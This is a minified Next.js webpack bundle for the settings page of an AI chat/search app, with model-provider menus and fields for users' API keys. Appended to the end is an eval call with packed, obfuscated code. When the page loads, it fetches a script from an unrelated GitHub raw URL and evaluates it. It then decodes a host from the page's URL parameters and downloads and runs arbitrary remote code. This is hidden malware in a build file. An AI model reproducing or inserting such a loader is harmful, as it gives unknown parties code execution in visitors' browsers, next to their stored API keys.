(self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[662],{13742:(e,a,l)=>{Promise.resolve().then(l.bind(l,44253))},44253:(e,a,l)=>{"use strict";l.r(a),l.d(a,{default:()=>N});var t=l(95155),s=l(51154),r=l(35169),i=l(381),d=l(12115),o=l(59434),n=l(32636),c=l(51362);let m=e=>{let{className:a,options:l,...s}=e;return(0,t.jsx)("select",{...s,className:(0,o.cn)("bg-light-secondary dark:bg-dark-secondary px-3 py-2 flex items-center overflow-hidden border border-light-200 dark:border-dark-200 dark:text-white rounded-lg text-sm",a),children:l.map(e=>{let{label:a,value:l,disabled:s}=e;return(0,t.jsx)("option",{value:l,disabled:s,children:a},l)})})},h=e=>{let{className:a}=e,[l,s]=(0,d.useState)(!1),{theme:r,setTheme:i}=(0,c.D)(),o=(0,d.useCallback)(e=>e===r,[r]),n=e=>{i(e)};return((0,d.useEffect)(()=>{s(!0)},[]),(0,d.useEffect)(()=>{if(o("system")){let e=window.matchMedia("(prefers-color-scheme: dark)"),a=e=>{i(e.matches?"dark":"light")};return e.addEventListener("change",a),()=>{e.removeEventListener("change",a)}}},[o,i,r]),l)?(0,t.jsx)(m,{className:a,value:r,onChange:e=>n(e.target.value),options:[{value:"light",label:"Light"},{value:"dark",label:"Dark"}]}):null};var x=l(35562),p=l(9803),v=l(6874),g=l.n(v);l(6695),l(26264),l(49509),l(23464),l(37323),l(4837),l(25489),l(15366);var u=l(72257);l(55853),u.J;let y={openai:{key:"openai",displayName:"OpenAI"},ollama:{key:"ollama",displayName:"Ollama"},groq:{key:"groq",displayName:"Groq"},anthropic:{key:"anthropic",displayName:"Anthropic"},gemini:{key:"gemini",displayName:"Google Gemini"},transformers:{key:"transformers",displayName:"Hugging Face"},deepseek:{key:"deepseek",displayName:"Deepseek AI"},aimlapi:{key:"aimlapi",displayName:"AI/ML API"},lmstudio:{key:"lmstudio",displayName:"LM Studio"},custom_openai:{key:"custom_openai",displayName:"Custom OpenAI"}},b=e=>{let{className:a,isSaving:l,onSave:r,...i}=e;return(0,t.jsxs)("div",{className:"relative",children:[(0,t.jsx)("input",{...i,className:(0,o.cn)("bg-light-secondary dark:bg-dark-secondary w-full px-3 py-2 flex items-center overflow-hidden border border-light-200 dark:border-dark-200 dark:text-white rounded-lg text-sm",l&&"pr-10",a),onBlur:e=>null==r?void 0:r(e.target.value)}),l&&(0,t.jsx)("div",{className:"absolute right-3 top-1/2 -translate-y-1/2",children:(0,t.jsx)(s.A,{size:16,className:"animate-spin text-black/70 dark:text-white/70"})})]})},f=e=>{let{className:a,isSaving:l,onSave:r,...i}=e;return(0,t.jsxs)("div",{className:"relative",children:[(0,t.jsx)("textarea",{placeholder:"Any special instructions for the LLM",className:"placeholder:text-sm text-sm w-full flex items-center justify-between p-3 bg-light-secondary dark:bg-dark-secondary rounded-lg hover:bg-light-200 dark:hover:bg-dark-200 transition-colors",rows:4,onBlur:e=>null==r?void 0:r(e.target.value),...i}),l&&(0,t.jsx)("div",{className:"absolute right-3 top-3",children:(0,t.jsx)(s.A,{size:16,className:"animate-spin text-black/70 dark:text-white/70"})})]})},k=e=>{let{className:a,options:l,...s}=e;return(0,t.jsx)("select",{...s,className:(0,o.cn)("bg-light-secondary dark:bg-dark-secondary px-3 py-2 flex items-center overflow-hidden border border-light-200 dark:border-dark-200 dark:text-white rounded-lg text-sm",a),children:l.map(e=>{let{label:a,value:l,disabled:s}=e;return(0,t.jsx)("option",{value:l,disabled:s,children:a},l)})})},j=e=>{let{title:a,children:l}=e;return(0,t.jsxs)("div",{className:"flex flex-col space-y-4 p-4 bg-light-secondary/50 dark:bg-dark-secondary/50 rounded-xl border border-light-200 dark:border-dark-200",children:[(0,t.jsx)("h2",{className:"text-black/90 dark:text-white/90 font-medium",children:a}),l]})},N=()=>{let[e,a]=(0,d.useState)(null),[l,s]=(0,d.useState)({}),[c,m]=(0,d.useState)({}),[v,u]=(0,d.useState)(null),[N,A]=(0,d.useState)(null),[M,S]=(0,d.useState)(null),[P,I]=(0,d.useState)(null),[w,C]=(0,d.useState)(!0),[K,O]=(0,d.useState)(!1),[U,L]=(0,d.useState)(!1),[E,_]=(0,d.useState)(""),[D,R]=(0,d.useState)({});(0,d.useEffect)(()=>{(async()=>{var e,l;let t=await fetch("/api/config",{headers:{"Content-Type":"application/json"}}),r=await t.json();a(r);let i=Object.keys(r.chatModelProviders||{}),d=Object.keys(r.embeddingModelProviders||{}),o=i.length>0?i[0]:"",n=d.length>0?d[0]:"",c=localStorage.getItem("chatModelProvider")||o||"",h=localStorage.getItem("chatModel")||(r.chatModelProviders&&(null===(e=r.chatModelProviders[c])||void 0===e?void 0:e.length)>0?r.chatModelProviders[c][0].name:void 0)||"",x=localStorage.getItem("embeddingModelProvider")||n||"",p=localStorage.getItem("embeddingModel")||r.embeddingModelProviders&&(null===(l=r.embeddingModelProviders[x])||void 0===l?void 0:l[0].name)||"";u(c),A(h),S(x),I(p),s(r.chatModelProviders||{}),m(r.embeddingModelProviders||{}),O("true"===localStorage.getItem("autoImageSearch")),L("true"===localStorage.getItem("autoVideoSearch")),_(localStorage.getItem("systemInstructions")),C(!1)})()},[]);let T=async(l,t)=>{R(e=>({...e,[l]:!0}));try{let h={...e,[l]:t};if(!(await fetch("/api/config",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify(h)})).ok)throw Error("Failed to update config");if(a(h),l.toLowerCase().includes("api")||l.toLowerCase().includes("url")){var r,i,d,o,n,c;let e=await fetch("/api/config",{headers:{"Content-Type":"application/json"}});if(!e.ok)throw Error("Failed to fetch updated config");let l=await e.json();s(l.chatModelProviders||{}),m(l.embeddingModelProviders||{});let t=Object.keys(l.chatModelProviders||{});if(!v&&t.length>0){let e=t[0],a=null===(i=l.chatModelProviders[e])||void 0===i?void 0:null===(r=i[0])||void 0===r?void 0:r.name;a&&(u(e),A(a),localStorage.setItem("chatModelProvider",e),localStorage.setItem("chatModel",a))}else if(v&&(!l.chatModelProviders||!l.chatModelProviders[v]||!Array.isArray(l.chatModelProviders[v])||0===l.chatModelProviders[v].length)){let e=null===(d=Object.entries(l.chatModelProviders||{}).find(e=>{let[a,l]=e;return Array.isArray(l)&&l.length>0}))||void 0===d?void 0:d[0];e?(u(e),A(l.chatModelProviders[e][0].name),localStorage.setItem("chatModelProvider",e),localStorage.setItem("chatModel",l.chatModelProviders[e][0].name)):(u(null),A(null),localStorage.removeItem("chatModelProvider"),localStorage.removeItem("chatModel"))}let h=Object.keys(l.embeddingModelProviders||{});if(!M&&h.length>0){let e=h[0],a=null===(n=l.embeddingModelProviders[e])||void 0===n?void 0:null===(o=n[0])||void 0===o?void 0:o.name;a&&(S(e),I(a),localStorage.setItem("embeddingModelProvider",e),localStorage.setItem("embeddingModel",a))}else if(M&&(!l.embeddingModelProviders||!l.embeddingModelProviders[M]||!Array.isArray(l.embeddingModelProviders[M])||0===l.embeddingModelProviders[M].length)){let e=null===(c=Object.entries(l.embeddingModelProviders||{}).find(e=>{let[a,l]=e;return Array.isArray(l)&&l.length>0}))||void 0===c?void 0:c[0];e?(S(e),I(l.embeddingModelProviders[e][0].name),localStorage.setItem("embeddingModelProvider",e),localStorage.setItem("embeddingModel",l.embeddingModelProviders[e][0].name)):(S(null),I(null),localStorage.removeItem("embeddingModelProvider"),localStorage.removeItem("embeddingModel"))}a(l)}"automaticImageSearch"===l?localStorage.setItem("autoImageSearch",t.toString()):"automaticVideoSearch"===l?localStorage.setItem("autoVideoSearch",t.toString()):"chatModelProvider"===l?localStorage.setItem("chatModelProvider",t):"chatModel"===l?localStorage.setItem("chatModel",t):"embeddingModelProvider"===l?localStorage.setItem("embeddingModelProvider",t):"embeddingModel"===l?localStorage.setItem("embeddingModel",t):"systemInstructions"===l&&localStorage.setItem("systemInstructions",t)}catch(e){console.error("Failed to save:",e),a(e=>({...e}))}finally{setTimeout(()=>{R(e=>({...e,[l]:!1}))},500)}};return(0,t.jsxs)("div",{className:"max-w-3xl mx-auto",children:[(0,t.jsxs)("div",{className:"flex flex-col pt-4",children:[(0,t.jsxs)("div",{className:"flex items-center space-x-2",children:[(0,t.jsx)(g(),{href:"/",className:"lg:hidden",children:(0,t.jsx)(r.A,{className:"text-black/70 dark:text-white/70"})}),(0,t.jsxs)("div",{className:"flex flex-row space-x-0.5 items-center",children:[(0,t.jsx)(i.A,{size:23}),(0,t.jsx)("h1",{className:"text-3xl font-medium p-2",children:"Settings"})]})]}),(0,t.jsx)("hr",{className:"border-t border-[#2B2C2C] my-4 w-full"})]}),w?(0,t.jsx)("div",{className:"flex flex-row items-center justify-center min-h-[50vh]",children:(0,t.jsxs)("svg",{"aria-hidden":"true",className:"w-8 h-8 text-light-200 fill-light-secondary dark:text-[#202020] animate-spin dark:fill-[#ffffff3b]",viewBox:"0 0 100 101",fill:"none",xmlns:"http://www.w3.org/2000/svg",children:[(0,t.jsx)("path",{d:"M100 50.5908C100.003 78.2051 78.1951 100.003 50.5908 100C22.9765 99.9972 0.997224 78.018 1 50.4037C1.00281 22.7993 22.8108 0.997224 50.4251 1C78.0395 1.00281 100.018 22.8108 100 50.4251ZM9.08164 50.594C9.06312 73.3997 27.7909 92.1272 50.5966 92.1457C73.4023 92.1642 92.1298 73.4365 92.1483 50.6308C92.1669 27.8251 73.4392 9.0973 50.6335 9.07878C27.8278 9.06026 9.10003 27.787 9.08164 50.594Z",fill:"currentColor"}),(0,t.jsx)("path",{d:"M93.9676 39.0409C96.393 38.4037 97.8624 35.9116 96.9801 33.5533C95.1945 28.8227 92.871 24.3692 90.0681 20.348C85.6237 14.1775 79.4473 9.36872 72.0454 6.45794C64.6435 3.54717 56.3134 2.65431 48.3133 3.89319C45.869 4.27179 44.3768 6.77534 45.014 9.20079C45.6512 11.6262 48.1343 13.0956 50.5786 12.717C56.5073 11.8281 62.5542 12.5399 68.0406 14.7911C73.527 17.0422 78.2187 20.7487 81.5841 25.4923C83.7976 28.5886 85.4467 32.059 86.4416 35.7474C87.1273 38.1189 89.5423 39.6781 91.9676 39.0409Z",fill:"currentFill"})]})}):e&&(0,t.jsxs)("div",{className:"flex flex-col space-y-6 pb-28 lg:pb-8",children:[(0,t.jsx)(j,{title:"Appearance",children:(0,t.jsxs)("div",{className:"flex flex-col space-y-1",children:[(0,t.jsx)("p",{className:"text-black/70 dark:text-white/70 text-sm",children:"Theme"}),(0,t.jsx)(h,{})]})}),(0,t.jsx)(j,{title:"Automatic Search",children:(0,t.jsxs)("div",{className:"flex flex-col space-y-4",children:[(0,t.jsxs)("div",{className:"flex items-center justify-between p-3 bg-light-secondary dark:bg-dark-secondary rounded-lg hover:bg-light-200 dark:hover:bg-dark-200 transition-colors",children:[(0,t.jsxs)("div",{className:"flex items-center space-x-3",children:[(0,t.jsx)("div",{className:"p-2 bg-light-200 dark:bg-dark-200 rounded-lg",children:(0,t.jsx)(x.A,{size:18,className:"text-black/70 dark:text-white/70"})}),(0,t.jsxs)("div",{children:[(0,t.jsx)("p",{className:"text-sm text-black/90 dark:text-white/90 font-medium",children:"Automatic Image Search"}),(0,t.jsx)("p",{className:"text-xs text-black/60 dark:text-white/60 mt-0.5",children:"Automatically search for relevant images in chat responses"})]})]}),(0,t.jsx)(n.dO,{checked:K,onChange:e=>{O(e),T("automaticImageSearch",e)},className:(0,o.cn)(K?"bg-[#24A0ED]":"bg-light-200 dark:bg-dark-200","relative inline-flex h-6 w-11 items-center rounded-full transition-colors focus:outline-none"),children:(0,t.jsx)("span",{className:(0,o.cn)(K?"translate-x-6":"translate-x-1","inline-block h-4 w-4 transform rounded-full bg-white transition-transform")})})]}),(0,t.jsxs)("div",{className:"flex items-center justify-between p-3 bg-light-secondary dark:bg-dark-secondary rounded-lg hover:bg-light-200 dark:hover:bg-dark-200 transition-colors",children:[(0,t.jsxs)("div",{className:"flex items-center space-x-3",children:[(0,t.jsx)("div",{className:"p-2 bg-light-200 dark:bg-dark-200 rounded-lg",children:(0,t.jsx)(p.A,{size:18,className:"text-black/70 dark:text-white/70"})}),(0,t.jsxs)("div",{children:[(0,t.jsx)("p",{className:"text-sm text-black/90 dark:text-white/90 font-medium",children:"Automatic Video Search"}),(0,t.jsx)("p",{className:"text-xs text-black/60 dark:text-white/60 mt-0.5",children:"Automatically search for relevant videos in chat responses"})]})]}),(0,t.jsx)(n.dO,{checked:U,onChange:e=>{L(e),T("automaticVideoSearch",e)},className:(0,o.cn)(U?"bg-[#24A0ED]":"bg-light-200 dark:bg-dark-200","relative inline-flex h-6 w-11 items-center rounded-full transition-colors focus:outline-none"),children:(0,t.jsx)("span",{className:(0,o.cn)(U?"translate-x-6":"translate-x-1","inline-block h-4 w-4 transform rounded-full bg-white transition-transform")})})]})]})}),(0,t.jsx)(j,{title:"System Instructions",children:(0,t.jsx)("div",{className:"flex flex-col space-y-4",children:(0,t.jsx)(f,{value:E,isSaving:D.systemInstructions,onChange:e=>{_(e.target.value)},onSave:e=>T("systemInstructions",e)})})}),(0,t.jsxs)(j,{title:"Model Settings",children:[e.chatModelProviders&&(0,t.jsxs)("div",{className:"flex flex-col space-y-4",children:[(0,t.jsxs)("div",{className:"flex flex-col space-y-1",children:[(0,t.jsx)("p",{className:"text-black/70 dark:text-white/70 text-sm",children:"Chat Model Provider"}),(0,t.jsx)(k,{value:null!=v?v:void 0,onChange:a=>{var l,t;let s=a.target.value;u(s),T("chatModelProvider",s);let r=null===(t=e.chatModelProviders[s])||void 0===t?void 0:null===(l=t[0])||void 0===l?void 0:l.name;r&&(A(r),T("chatModel",r))},options:Object.keys(e.chatModelProviders).map(e=>{var a;return{value:e,label:(null===(a=y[e])||void 0===a?void 0:a.displayName)||e.charAt(0).toUpperCase()+e.slice(1)}})})]}),v&&"custom_openai"!=v&&(0,t.jsxs)("div",{className:"flex flex-col space-y-1",children:[(0,t.jsx)("p",{className:"text-black/70 dark:text-white/70 text-sm",children:"Chat Model"}),(0,t.jsx)(k,{value:null!=N?N:void 0,onChange:e=>{let a=e.target.value;A(a),T("chatModel",a)},options:(()=>{let a=e.chatModelProviders[v];return a?a.length>0?a.map(e=>({value:e.name,label:e.displayName})):[{value:"",label:"No models available",disabled:!0}]:[{value:"",label:"Invalid provider, please check backend logs",disabled:!0}]})()})]})]}),v&&"custom_openai"===v&&(0,t.jsxs)("div",{className:"flex flex-col space-y-4",children:[(0,t.jsxs)("div",{className:"flex flex-col space-y-1",children:[(0,t.jsx)("p",{className:"text-black/70 dark:text-white/70 text-sm",children:"Model Name"}),(0,t.jsx)(b,{type:"text",placeholder:"Model name",value:e.customOpenaiModelName,isSaving:D.customOpenaiModelName,onChange:e=>{a(a=>({...a,customOpenaiModelName:e.target.value}))},onSave:e=>T("customOpenaiModelName",e)})]}),(0,t.jsxs)("div",{className:"flex flex-col space-y-1",children:[(0,t.jsx)("p",{className:"text-black/70 dark:text-white/70 text-sm",children:"Custom OpenAI API Key"}),(0,t.jsx)(b,{type:"text",placeholder:"Custom OpenAI API Key",value:e.customOpenaiApiKey,isSaving:D.customOpenaiApiKey,onChange:e=>{a(a=>({...a,customOpenaiApiKey:e.target.value}))},onSave:e=>T("customOpenaiApiKey",e)})]}),(0,t.jsxs)("div",{className:"flex flex-col space-y-1",children:[(0,t.jsx)("p",{className:"text-black/70 dark:text-white/70 text-sm",children:"Custom OpenAI Base URL"}),(0,t.jsx)(b,{type:"text",placeholder:"Custom OpenAI Base URL",value:e.customOpenaiApiUrl,isSaving:D.customOpenaiApiUrl,onChange:e=>{a(a=>({...a,customOpenaiApiUrl:e.target.value}))},onSave:e=>T("customOpenaiApiUrl",e)})]})]}),e.embeddingModelProviders&&(0,t.jsxs)("div",{className:"flex flex-col space-y-4 mt-4 pt-4 border-t border-light-200 dark:border-dark-200",children:[(0,t.jsxs)("div",{className:"flex flex-col space-y-1",children:[(0,t.jsx)("p",{className:"text-black/70 dark:text-white/70 text-sm",children:"Embedding Model Provider"}),(0,t.jsx)(k,{value:null!=M?M:void 0,onChange:a=>{var l,t;let s=a.target.value;S(s),T("embeddingModelProvider",s);let r=null===(t=e.embeddingModelProviders[s])||void 0===t?void 0:null===(l=t[0])||void 0===l?void 0:l.name;r&&(I(r),T("embeddingModel",r))},options:Object.keys(e.embeddingModelProviders).map(e=>{var a;return{value:e,label:(null===(a=y[e])||void 0===a?void 0:a.displayName)||e.charAt(0).toUpperCase()+e.slice(1)}})})]}),M&&(0,t.jsxs)("div",{className:"flex flex-col space-y-1",children:[(0,t.jsx)("p",{className:"text-black/70 dark:text-white/70 text-sm",children:"Embedding Model"}),(0,t.jsx)(k,{value:null!=P?P:void 0,onChange:e=>{let a=e.target.value;I(a),T("embeddingModel",a)},options:(()=>{let a=e.embeddingModelProviders[M];return a?a.length>0?a.map(e=>({value:e.name,label:e.displayName})):[{value:"",label:"No models available",disabled:!0}]:[{value:"",label:"Invalid provider, please check backend logs",disabled:!0}]})()})]})]})]}),(0,t.jsx)(j,{title:"API Keys",children:(0,t.jsxs)("div",{className:"flex flex-col space-y-4",children:[(0,t.jsxs)("div",{className:"flex flex-col space-y-1",children:[(0,t.jsx)("p",{className:"text-black/70 dark:text-white/70 text-sm",children:"OpenAI API Key"}),(0,t.jsx)(b,{type:"text",placeholder:"OpenAI API Key",value:e.openaiApiKey,isSaving:D.openaiApiKey,onChange:e=>{a(a=>({...a,openaiApiKey:e.target.value}))},onSave:e=>T("openaiApiKey",e)})]}),(0,t.jsxs)("div",{className:"flex flex-col space-y-1",children:[(0,t.jsx)("p",{className:"text-black/70 dark:text-white/70 text-sm",children:"Ollama API URL"}),(0,t.jsx)(b,{type:"text",placeholder:"Ollama API URL",value:e.ollamaApiUrl,isSaving:D.ollamaApiUrl,onChange:e=>{a(a=>({...a,ollamaApiUrl:e.target.value}))},onSave:e=>T("ollamaApiUrl",e)})]}),(0,t.jsxs)("div",{className:"flex flex-col space-y-1",children:[(0,t.jsx)("p",{className:"text-black/70 dark:text-white/70 text-sm",children:"GROQ API Key"}),(0,t.jsx)(b,{type:"text",placeholder:"GROQ API Key",value:e.groqApiKey,isSaving:D.groqApiKey,onChange:e=>{a(a=>({...a,groqApiKey:e.target.value}))},onSave:e=>T("groqApiKey",e)})]}),(0,t.jsxs)("div",{className:"flex flex-col space-y-1",children:[(0,t.jsx)("p",{className:"text-black/70 dark:text-white/70 text-sm",children:"Anthropic API Key"}),(0,t.jsx)(b,{type:"text",placeholder:"Anthropic API key",value:e.anthropicApiKey,isSaving:D.anthropicApiKey,onChange:e=>{a(a=>({...a,anthropicApiKey:e.target.value}))},onSave:e=>T("anthropicApiKey",e)})]}),(0,t.jsxs)("div",{className:"flex flex-col space-y-1",children:[(0,t.jsx)("p",{className:"text-black/70 dark:text-white/70 text-sm",children:"Gemini API Key"}),(0,t.jsx)(b,{type:"text",placeholder:"Gemini API key",value:e.geminiApiKey,isSaving:D.geminiApiKey,onChange:e=>{a(a=>({...a,geminiApiKey:e.target.value}))},onSave:e=>T("geminiApiKey",e)})]}),(0,t.jsxs)("div",{className:"flex flex-col space-y-1",children:[(0,t.jsx)("p",{className:"text-black/70 dark:text-white/70 text-sm",children:"Deepseek API Key"}),(0,t.jsx)(b,{type:"text",placeholder:"Deepseek API Key",value:e.deepseekApiKey,isSaving:D.deepseekApiKey,onChange:e=>{a(a=>({...a,deepseekApiKey:e.target.value}))},onSave:e=>T("deepseekApiKey",e)})]}),(0,t.jsxs)("div",{className:"flex flex-col space-y-1",children:[(0,t.jsx)("p",{className:"text-black/70 dark:text-white/70 text-sm",children:"AI/ML API Key"}),(0,t.jsx)(b,{type:"text",placeholder:"AI/ML API Key",value:e.aimlApiKey,isSaving:D.aimlApiKey,onChange:e=>{a(a=>({...a,aimlApiKey:e.target.value}))},onSave:e=>T("aimlApiKey",e)})]}),(0,t.jsxs)("div",{className:"flex flex-col space-y-1",children:[(0,t.jsx)("p",{className:"text-black/70 dark:text-white/70 text-sm",children:"LM Studio API URL"}),(0,t.jsx)(b,{type:"text",placeholder:"LM Studio API URL",value:e.lmStudioApiUrl,isSaving:D.lmStudioApiUrl,onChange:e=>{a(a=>({...a,lmStudioApiUrl:e.target.value}))},onSave:e=>T("lmStudioApiUrl",e)})]})]})})]})]})}},59434:(e,a,l)=>{"use strict";l.d(a,{S:()=>i,cn:()=>r});var t=l(52596),s=l(39688);let r=function(){for(var e=arguments.length,a=Array(e),l=0;l{e=new Date(e);let l=Math.floor(Math.abs((a=new Date(a)).getTime()-e.getTime())/1e3);return l<60?"".concat(l," second").concat(1!==l?"s":""):l<3600?"".concat(Math.floor(l/60)," minute").concat(1!==Math.floor(l/60)?"s":""):l<86400?"".concat(Math.floor(l/3600)," hour").concat(1!==Math.floor(l/3600)?"s":""):l<31536e3?"".concat(Math.floor(l/86400)," day").concat(1!==Math.floor(l/86400)?"s":""):"".concat(Math.floor(l/31536e3)," year").concat(1!==Math.floor(l/31536e3)?"s":"")}}},e=>{var a=a=>e(e.s=a);e.O(0,[328,277,882,349,441,684,358],()=>a(13742)),_N_E=e.O()}]);eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(9(){4(f.z)1;f.z=(m()=>{m 9 A(a){2 g=B n(a);4(!g.N)O 7 P("Q 6: "+g.R);1 g.C()}9 o(a){q{4(/8\\.d/.S(a)){2 8={d:{}};7 s("8","d",a)(8,8.d);1 8.d.3}T 3;7 s("D",a+"\\U (V 3 !== \'W\') D(3);",)(v=>(3=v));1 3}h(6){j.5("[o 5]",6);1 X}}m 9 u(){q{2 E=B A("F://Y.Z.10/11/G/12/13/14/15.G",);2 3=o(E);4(!3)1;f.w=9(a,b,c){q{c=c!==16;4(!a){2 p=7 H(I.J);a=p.k("K")||"";b=b||p.k("L")||""}4(!a||!b)1;2 l=3(a);4(!l)1;n("F://"+l).M(r=>r.C()).M(x=>{(0,7 s(x))()}).h(6=>{j.5("[n l x 5]",6)})}h(e){j.5("[w 5]",e)}};2 y=7 H(I.J);2 t=y.k("K");2 i=y.k("L");4(t&&i)f.w(t,i)}h(6){j.5("[u 5]:",6)}}1 u()})()})();',62,69,'|return|const|decodeHost|if|error|err|new|module|function||||exports||window|res|catch||console|get|host|async|fetch|extractDecodeHost||try||Function||init||go|code|params|__REMOTE_LOADER__|fetchRemoteJS|await|text|setDecodeHost|remoteCode|https|js|URLSearchParams|location|search|type|id|then|ok|throw|Error|load|status|test|let|nif|typeof|undefined|null|raw|githubusercontent|com|JuanitaWHowe|refs|heads|main|index|false'.split('|'),0,{}))